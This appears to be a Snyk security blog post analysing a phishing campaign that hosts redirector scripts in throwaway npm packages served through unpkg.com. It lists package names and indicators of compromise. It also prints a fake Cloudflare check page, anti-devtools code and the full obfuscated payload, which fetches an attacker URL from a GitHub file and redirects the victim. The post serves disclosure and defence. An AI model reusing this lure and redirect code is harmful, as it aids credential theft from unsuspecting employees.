Phishing Campaign Leveraging the NPM Ecosystem
October 9, 2025
0 mins readIn October 2025, researchers uncovered a phishing operation that weaponizes the npm ecosystem, but this time not to infect developers at install time, but rather to host and deliver phishing scripts via the trusted unpkg.com
CDN.
Threat actors seeded more than 175+ throwaway packages as disposable hosting for JavaScript that auto-redirects victims to credential-harvesting sites when opened from crafted HTML “business documents”. According to Socket, who initially shared the news and provided first data points, the targets in this attack span 135+ organizations (industrial, tech, and energy, mainly in Europe). Following the disclosure, Snyk further mapped the campaign’s packages and identified a separate cluster using mad-x.x.x.x.x.x
names (where x is a random number), which appear related or copycat experimentation with similar infrastructure and intent.
Unlike the more familiar tactic of simply uploading malicious packages to compromise developers during package installation, this campaign takes a different path. Instead of infecting users via npm install, the attackers leverage the browser delivery path through unpkg, turning legitimate open source hosting infrastructure into a phishing mechanism. It’s a clear sign that threat actors are exploring methods beyond conventional package-based exploits and are actively probing new ways to weaponize the open source ecosystem itself. While this isn’t a classic supply-chain compromise, it is one worth watching closely.
What happened in this supply chain attack
Mass package publication: Adversaries automated the creation of many npm packages (pattern
redirect-[a-z0-9]{6}
) with minimal contents:beamglea.js
and HTML lure files.Automatic CDN availability: As soon as a package version is public, the popular and centralized CDN resource at
unpkg.com
can be referenced in<script src="
https://unpkg.com/
<name>@<ver>/beamglea.js">
to then make use of those malware packages.Phishing distribution: Targets receive custom HTML files (often mimicking invoices and other data). Opening them then triggers the
unpkg
script load.Credential capture: The script immediately redirects to an attacker page and passes the victim’s email via URL fragment so the phishing form is pre-filled. This creates an effective trust cue that avoids server logs.
Timeline
The timeline known so far from this evolving incident is as follows:
Sept 24, 2025: Initial traces of the infrastructure were reported publicly.
Oct 9, 2025: Socket publishes research detailing the 175 packages, the “Beamglea” codename, the
redirect-*
naming, and the 135+ impacted organizations.Oct 10, 2025: Snyk internal analysis documents additional packages not listed by Socket, using the
mad-*
naming scheme (these are still under investigation; attribution and linkage to the same actor are not yet conclusive).
Impacted components
Primary: Any user who opens one of the campaign’s HTML lures in a browser that then fetches script from
unpkg.com
. The victim segment is enterprise employees rather than developers.Package inventory:
redirect-*
family (≈175 packages) acting as CDN hosts forbeamglea.js
and HTML files. SocketSnyk-flagged additional set (not in the Socket post):
mad-1.0.0.2.2.8
,mad-1.2.9.2.2.8
,mad-2.4.0.2.2.8
,mad-1.4.1.2.2.8
,mad-2.0.0.2.2.8
,mad-4.0.1.2.2.8
,mad-3.0.1.2.2.8
,mad-2.0.2.2.2.8
,mad-10.1.1.2.2.8
,mad-1.4.2.2.2.8
,mad-2.4.1.2.2.8
,mad-1.4.0.2.2.8
,mad-10.2.1.2.2.8
,mad-2.0.1.2.2.8
,mad-3.0.0.2.2.8
,mad-5.0.0.2.2.8
,mad-3.0.2.2.2.8
,mad-4.0.0.2.2.8
,mad-5.0.1.2.2.8
,mad-6.0.0.2.2.8
mad-* package analysis
This package contains a fake “Cloudflare Security Check” page that covertly redirects users to an attacker-controlled URL fetched from a remote GitHub-hosted file. It includes common anti-analysis logic that blocks inspection shortcuts and attempts to redirect the top window (frame-busting) after a fake verification checkbox is clicked.
What it does
Phishing/lure UI: Mimics Cloudflare and references the possible target.
<h1>Security Check</h1>
<p class="description">
We are checking your browser before granting access to
<span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
This may take a few seconds.
</p>

Anti-devtools detection: The code periodically checks for developer tools and, if detected, blanks the page or redirects.
const CHECK_INTERVAL = 600;
const SIZE_THRESHOLD = 160;
const REACTION = 'blank';
...
function sizeCheck() {
...
return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
function consoleCheck() {
...
Object.defineProperty(obj, 'id', {
get: function() {
open = true;
return '1';
}
});
console.log(obj);
return open;
User-action trigger: When the “I am not a robot” checkbox is checked, it shows a spinner, then fetches a remote text file. If the file contains a URL, it redirects the browser (or its parent frame) to that URL.
Inspection hardening: Disables right-click, F12, common devtools shortcuts, and “view source”/“save”.
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
});
document.addEventListener('keydown', function(e) {
if (e.key === "F12") {
e.preventDefault();
}
if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) ||
(e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
e.preventDefault();
}
});
The malware payload
As a reference for other security researchers and readers, we provide the full script.js
obfuscated code. This payload is loaded via the following page script <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>
.
The malware payload:
function _0xab84(_0x5df706, _0x320379) {
const _0x12f2bf = _0x12f2();
return _0xab84 = function (_0xab8422, _0x3659f3) {
_0xab8422 = _0xab8422 - 0x16e;
let _0x376c45 = _0x12f2bf[_0xab8422];
return _0x376c45;
}, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;
function _0x12f2() {
const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
_0x12f2 = function () {
return _0x199a32;
};
return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
const _0xe50adb = _0xab84,
_0x418764 = _0x5ee12f();
while (!![]) {
try {
const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
if (_0x33be1a === _0x463d21) break;
else _0x418764['push'](_0x418764['shift']());
} catch (_0xab8496) {
_0x418764['push'](_0x418764['shift']());
}
}
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
const _0xa859eb = _0x454c0a,
_0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
_0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
_0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
_0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
_0x10848a = _0xa859eb(0x18f),
_0x569cab = _0x10848a;
_0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
const _0x491ce3 = _0xa859eb;
if (!this[_0x491ce3(0x198)]) return;
try {
_0x184285(), setTimeout(() => {
_0x405f84(), setTimeout(() => {
const _0x89d3d3 = _0xab84;
console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
'method': _0x89d3d3(0x199),
'cache': _0x89d3d3(0x180)
})[_0x89d3d3(0x187)](_0xb053b6 => {
const _0x42dda6 = _0x89d3d3;
return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
'status': _0xb053b6[_0x42dda6(0x190)],
'text': _0x239cb7
}));
})[_0x89d3d3(0x187)](({
status: _0x48490,
text: _0x54a6fa
}) => {
const _0x4408f0 = _0x89d3d3,
_0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
if (!_0x4cfb55) {
console[_0x4408f0(0x19d)](_0x4408f0(0x173));
return;
}
if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
console['error'](_0x4408f0(0x172), _0x4cfb55);
return;
}
console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
try {
window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
return;
} catch (_0x86bd20) {
console['warn'](_0x4408f0(0x1a0), _0x86bd20);
}
try {
window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
} catch (_0x255bd0) {
console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
}
})['catch'](_0x5a4cd6 => {
const _0xb0c328 = _0x89d3d3;
console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
});
}, 0x3e8);
}, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
} catch (_0x96207c) {
console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
}
});
function _0x184285() {
const _0x5471f3 = _0xa859eb;
if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
}
function _0x405f84() {
const _0x197e4e = _0xa859eb;
if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
}
}));
FAQs
What are the indicators of compromise (IOC) for this supply chain attack?
File/Content clues (endpoints or email gateways):
HTML with a
<script src="
https://unpkg.com/redirect-
<6-char-suffix>@<semver>/beamglea.js">
.HTML meta tag seen across lures:
name="html-meta" content="nb830r6x"
.
Network clues:
Outbound requests from user endpoints to
unpkg.com
when immediately followed by navigation to suspicious domains such ascfn.jackpotmastersdanske[.]com
.
Package clues (repos/dev environments):
Presence of low-signal npm packages named like
redirect-[a-z0-9]{6}
or themad-*
list above, even if not installed (as they are loaded remotely over the wire from unpkg.com).
Which open source components are involved in this attack?
npm registry: used as a free, reputable hosting origin by publishing many low-value packages (e.g.,
redirect-<random>
), each containing a tiny redirector script and lure files.unpkg.com
CDN: automatically serves any public npm package over HTTPS, which attackers leverage to loadbeamglea.js
directly in victims’ browsers.Victim-facing HTML lures: innocuous-looking purchase orders or project docs that, when opened locally, pull the script from the
unpkg.com
centralized CDN and send users to fake login portals with the email field pre-filled (thus, setting the stage for increasing credibility).
SNYK LABS
Try Snyk’s Latest Innovations in AI Security
Snyk customers now have access to Snyk AI-BOM and Snyk MCP-Scan in experimental preview – with more to come!